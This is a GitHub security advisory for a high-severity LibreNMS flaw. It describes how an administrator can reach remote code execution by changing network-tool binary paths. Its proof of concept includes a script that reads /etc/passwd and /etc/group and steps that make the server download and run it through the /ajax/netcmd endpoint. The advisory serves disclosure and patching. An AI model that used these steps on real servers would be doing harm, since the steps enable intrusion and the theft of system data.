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LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write

High severity GitHub Reviewed Published Mar 24, 2026 in librenms/librenms • Updated Mar 26, 2026

Package

composer librenms/librenms (Composer)

Affected versions

>= 1.48, < 26.3.0

Patched versions

26.3.0

Description

Summary

A vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.

Details

The application allows administrative users to configure the absolute binary paths for network diagnostic tools at /settings/external/binaries. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These tools are invoked by sending a request to the GET /ajax/netcmd endpoint. While there is an existing input filter designed to restrict arguments to valid IP addresses or hostnames, this filter can be bypassed.

PoC

To reproduce this vulnerability, a remote HTTP server should be hosted with a malicious script/executable, ensure the remote server is reachable by the server running LibreNMS. The PoC will use the file malicious.sh containing the following content. It will return the content of /etc/passwd and /etc/group, current working directory, username that is running the script, and it will list files of the current directory.

#!/usr/bin/env bash

cat /etc/passwd
cat /etc/group
whoami
pwd
ls
  1. Host a remote HTTP server that the server can reach and place the malicious script on the remote server. For demonstration, I will start it on localhost.

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  1. Make sure the malicious script malicious.sh can be downloaded.

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  1. Login with an admin account and navigate to Global Settings -> External -> Binary Locations

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  1. Change the whois binary path to the path of wget (e.g. /usr/bin/wget).

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  1. Send the request GET /ajax/netcmd?cmd=whois&query={remote http server's ip address}/malicious.sh. The response should contain wget's output, and malicious.sh would be downloaded by the server.

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  1. After that, change the whois binary path to the path of bash (e.g. /bin/bash).

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  1. Send the request GET /ajax/netcmd?cmd=whois&query=malicious.sh to execute the script.

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Impact

This vulnerability allows a malicious actor to achieve Remote Code Execution (RCE), potentially leading to complete system compromise, data exfiltration, or lateral movement within the network.

Remediation Advice

Loading Binary Path from a config file instead of exposing settings in WebUI can eliminate this issue. If it is not possible, enforcing more validations and fix the ip_or_hostname bypass in https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 to reduce the risk of RCE.

Prerequisite

The attacker must have a valid Administrator account to exploit this vulnerability.

References

@laf laf published to librenms/librenms Mar 24, 2026
Published to the GitHub Advisory Database Mar 26, 2026
Reviewed Mar 26, 2026
Last updated Mar 26, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-pr3g-phhr-h8fh

Source code

Credits

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